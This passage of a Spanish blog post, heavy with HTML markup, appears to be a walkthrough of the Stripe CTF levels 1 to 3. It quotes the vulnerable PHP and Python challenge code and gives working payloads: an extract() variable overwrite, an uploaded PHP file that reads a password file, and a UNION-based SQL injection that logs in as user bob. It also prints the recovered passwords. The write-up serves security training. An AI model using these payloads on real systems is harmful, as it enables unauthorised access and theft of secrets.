line-height: 22.390625px;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;De esta forma podemos controlar la condición “if ($attempt === $combination)” obteniendo el password EzErXetuTd.&lt;/span&gt;&lt;/span&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot; /&gt;&lt;pre class=&quot;prettyprint prettyprinted&quot; style=&quot;background-color: white; border: 1px solid rgb(136, 136, 136); color: #333333; font-size: 14px; line-height: 22.390625px; overflow: auto; padding: 2px;&quot;&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;&amp;lt;?&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;php
      $filename &lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;str&quot; style=&quot;color: #008800;&quot;&gt;&#39;secret-combination.txt&#39;&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;
      extract&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;$_GET&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;);&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;
      &lt;/span&gt;&lt;span class=&quot;kwd&quot; style=&quot;color: #000088;&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;isset&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;$attempt&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;))&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;
        $combination &lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; trim&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;file_get_contents&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;$filename&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;));&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;
        &lt;/span&gt;&lt;span class=&quot;kwd&quot; style=&quot;color: #000088;&quot;&gt;if&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;$attempt &lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;===&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; $combination&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;
          echo &lt;/span&gt;&lt;span class=&quot;str&quot; style=&quot;color: #008800;&quot;&gt;&quot;&amp;lt;p&amp;gt;How did you know the secret combination was&quot;&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;
               &lt;/span&gt;&lt;span class=&quot;str&quot; style=&quot;color: #008800;&quot;&gt;&quot; $combination!?&amp;lt;/p&amp;gt;&quot;&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;
          $next &lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; file_get_contents&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;str&quot; style=&quot;color: #008800;&quot;&gt;&#39;level02-password.txt&#39;&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;);&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;
          echo &lt;/span&gt;&lt;span class=&quot;str&quot; style=&quot;color: #008800;&quot;&gt;&quot;&amp;lt;p&amp;gt;You&#39;ve earned the password to the access Level 2:&quot;&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;
               &lt;/span&gt;&lt;span class=&quot;str&quot; style=&quot;color: #008800;&quot;&gt;&quot; $next&amp;lt;/p&amp;gt;&quot;&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;
        &lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;kwd&quot; style=&quot;color: #000088;&quot;&gt;else&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;{&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;
          echo &lt;/span&gt;&lt;span class=&quot;str&quot; style=&quot;color: #008800;&quot;&gt;&quot;&amp;lt;p&amp;gt;Incorrect! The secret combination is not $attempt&amp;lt;/p&amp;gt;&quot;&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;;&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;
        &lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;
      &lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;}&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;
    &lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;?&amp;gt;&lt;/span&gt;&lt;/pre&gt;
&lt;span style=&quot;background-color: white; color: #333333; font-family: Verdana, sans-serif; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Verdana, sans-serif; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;Payload: https://level01-2.stripe-ctf.com/user-fidecfsyim?attempt=&amp;amp;filename=&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot; /&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Verdana, sans-serif; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: medium; line-height: 22.390625px;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt;Nivel 2&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot; /&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Verdana, sans-serif; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;/span&gt;&lt;i style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;You are now on Level 2, the Social Network. Excellent work so far! Social Networks are all the rage these days, so we decided to build one for CTF. Please fill out your profile at https://level02-2.stripe-ctf.com/user-uvgjkctugx. You may even be able to find the password for Level 3 by doing so.&lt;/span&gt;&lt;/span&gt;&lt;/i&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot; /&gt;&lt;i style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;The code for the Social Network can be obtained from git clone https://level02-2.stripe-ctf.com/user-uvgjkctugx/level02-code, and is also included below.&lt;/span&gt;&lt;/span&gt;&lt;/i&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot; /&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Verdana, sans-serif; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Verdana, sans-serif; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;En este nivel tenemos una Red social donde se permite subir un fichero como imagen para el perfil.&lt;/span&gt;&lt;/span&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot; /&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Verdana, sans-serif; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;La vulnerabilidad está en que la aplicación permite subir cualquier fichero, por lo que se puede enviar código php.&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot; /&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Verdana, sans-serif; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;En el código dado se hace referencia al fichero password.txt. Solo queda subir un fichero que muestre su contenido:&lt;/span&gt;&lt;/span&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot; /&gt;&lt;pre class=&quot;prettyprint prettyprinted&quot; style=&quot;background-color: white; border: 1px solid rgb(136, 136, 136); color: #333333; font-size: 14px; line-height: 22.390625px; overflow: auto; padding: 2px;&quot;&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;&amp;lt;?&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;php echo file_get_contents&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;str&quot; style=&quot;color: #008800;&quot;&gt;&quot;../password.txt&quot;&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;);&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;?&amp;gt;&lt;/span&gt;&lt;/pre&gt;
&lt;span style=&quot;background-color: white; color: #333333; font-family: Verdana, sans-serif; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Verdana, sans-serif; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;Password HpTCvSQLKQ.&lt;/span&gt;&lt;/span&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot; /&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Verdana, sans-serif; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: medium; line-height: 22.390625px;&quot;&gt;&lt;b&gt;&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt;Nivel 3&lt;/span&gt;&lt;/b&gt;&lt;/span&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot; /&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Verdana, sans-serif; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;/span&gt;&lt;i style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;After the fiasco back in Level 0, management has decided to fortify the Secret Safe into an unbreakable solution (kind of like Unbreakable Linux). The resulting product is Secret Vault, which is so secure that it requires human intervention to add new secrets.&lt;/span&gt;&lt;/span&gt;&lt;/i&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot; /&gt;&lt;i style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;A beta version has launched with some interesting secrets (including the password to access Level 4); you can check it out at https://level03-1.stripe-ctf.com/user-qjthblpqly. As usual, you can fetch the code for the level (and some sample data) via git clone https://level03-1.stripe-ctf.com/user-qjthblpqly/level03-code, or you can read the code below.&lt;/span&gt;&lt;/span&gt;&lt;/i&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot;&gt;&amp;nbsp;&lt;/span&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot; /&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Verdana, sans-serif; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Verdana, sans-serif; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;Accediendo a la web se solicita usuario y contraseña para obtener el secreto. Además, nos dice que el usuario bob almacena el secreto para el paso al nivel 4.&amp;nbsp;&lt;/span&gt;&lt;/span&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot; /&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Verdana, sans-serif; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Verdana, sans-serif; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;Revisando el código (ahora toca python) se ve que se ejecuta la sentencia SQL que no está siendo filtrada:&lt;/span&gt;&lt;/span&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot; /&gt;&lt;pre class=&quot;prettyprint prettyprinted&quot; style=&quot;background-color: white; border: 1px solid rgb(136, 136, 136); color: #333333; font-size: 14px; line-height: 22.390625px; overflow: auto; padding: 2px;&quot;&gt;&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;&amp;nbsp;query &lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;str&quot; style=&quot;color: #008800;&quot;&gt;&quot;&quot;&quot;SELECT id, password_hash, salt FROM users
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; WHERE username = &#39;{0}&#39; LIMIT 1&quot;&quot;&quot;&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;format&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;username&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;
&lt;span style=&quot;background-color: white; color: #333333; font-family: Verdana, sans-serif; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Verdana, sans-serif; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;Además, se utiliza el hash de la contraseña con un salt:&lt;/span&gt;&lt;/span&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot; /&gt;&lt;pre class=&quot;prettyprint prettyprinted&quot; style=&quot;background-color: white; border: 1px solid rgb(136, 136, 136); color: #333333; font-size: 14px; line-height: 22.390625px; overflow: auto; padding: 2px;&quot;&gt;&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;calculated_hash &lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; hashlib&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;sha256&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;password &lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;+&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; salt&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;)&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp; &lt;/span&gt;&lt;b&gt;&lt;span class=&quot;kwd&quot; style=&quot;color: #000088;&quot;&gt;if&lt;/span&gt;&lt;/b&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; calculated_hash&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;hexdigest&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;()&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;!=&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; password_hash&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;:&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;
&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;/span&gt;&lt;b&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;kwd&quot; style=&quot;color: #000088;&quot;&gt;return&lt;/span&gt;&lt;/b&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;str&quot; style=&quot;color: #008800;&quot;&gt;&quot;That&#39;s not the password for {0}!\n&quot;&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;format&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;(&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;username&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;)&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;
&lt;span style=&quot;background-color: white; color: #333333; font-family: Verdana, sans-serif; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Verdana, sans-serif; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;Cuando usuario y contraseña son correctos, se asigna a la sesión el id del usuario, por lo que&amp;nbsp; el objetivo de esta prueba es obtener el id del usuario bob para que nos muestre el secreto. Para ello necesitamos que nos asigne su user_id, habiendo pasado las comprobaciones de usuario y contraseña:&lt;/span&gt;&lt;/span&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot; /&gt;&lt;pre class=&quot;prettyprint prettyprinted&quot; style=&quot;background-color: white; border: 1px solid rgb(136, 136, 136); color: #333333; font-size: 14px; line-height: 22.390625px; overflow: auto; padding: 2px;&quot;&gt;&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;&amp;nbsp;flask&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;.&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;session&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;[&lt;/span&gt;&lt;span class=&quot;str&quot; style=&quot;color: #008800;&quot;&gt;&#39;user_id&#39;&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;]&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; &lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt; user_id&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;
&lt;span style=&quot;background-color: white; color: #333333; font-family: Verdana, sans-serif; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;/span&gt;&lt;span style=&quot;background-color: white; color: #333333; font-family: Verdana, sans-serif; font-size: 14px; line-height: 22.390625px;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;Mediante una inyección SQL en el parámetro username se fuerza a que el id que devuelva sea el del usuario bob. Se envió una petición POST con los parámetros:&lt;/span&gt;&lt;/span&gt;&lt;br style=&quot;background-color: white; color: #333333; font-family: Arial; font-size: 14px; line-height: 22.390625px;&quot; /&gt;&lt;pre class=&quot;prettyprint prettyprinted&quot; style=&quot;background-color: white; border: 1px solid rgb(136, 136, 136); color: #333333; font-size: 14px; line-height: 22.390625px; overflow: auto; padding: 2px;&quot;&gt;&lt;span style=&quot;font-family: Verdana, sans-serif;&quot;&gt;&lt;span style=&quot;font-size: x-small;&quot;&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;username&lt;/span&gt;&lt;span class=&quot;pun&quot; style=&quot;color: #666600;&quot;&gt;=&lt;/span&gt;&lt;span class=&quot;str&quot; style=&quot;color: #008800;&quot;&gt;&#39;+UNION+SELECT+id,+&#39;&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;fb8e20fc2e4c3f248c60c39bd652f3c1347298bb977b8b4d5903b85055620603&lt;/span&gt;&lt;span class=&quot;str&quot; style=&quot;color: #008800;&quot;&gt;&#39;,+&#39;&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;b&lt;/span&gt;&lt;span class=&quot;str&quot; style=&quot;color: #008800;&quot;&gt;&#39;+FROM+users+WHERE+username%3d&#39;&lt;/span&gt;&lt;span class=&quot;pln&quot; style=&quot;color: black;&quot;&gt;bob&lt;/span&gt;&lt;span class=&quot;str&quot; style=&quot;color: #008800;&quot;&gt;&#39;--&amp;amp;password=a&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;/pre&gt;
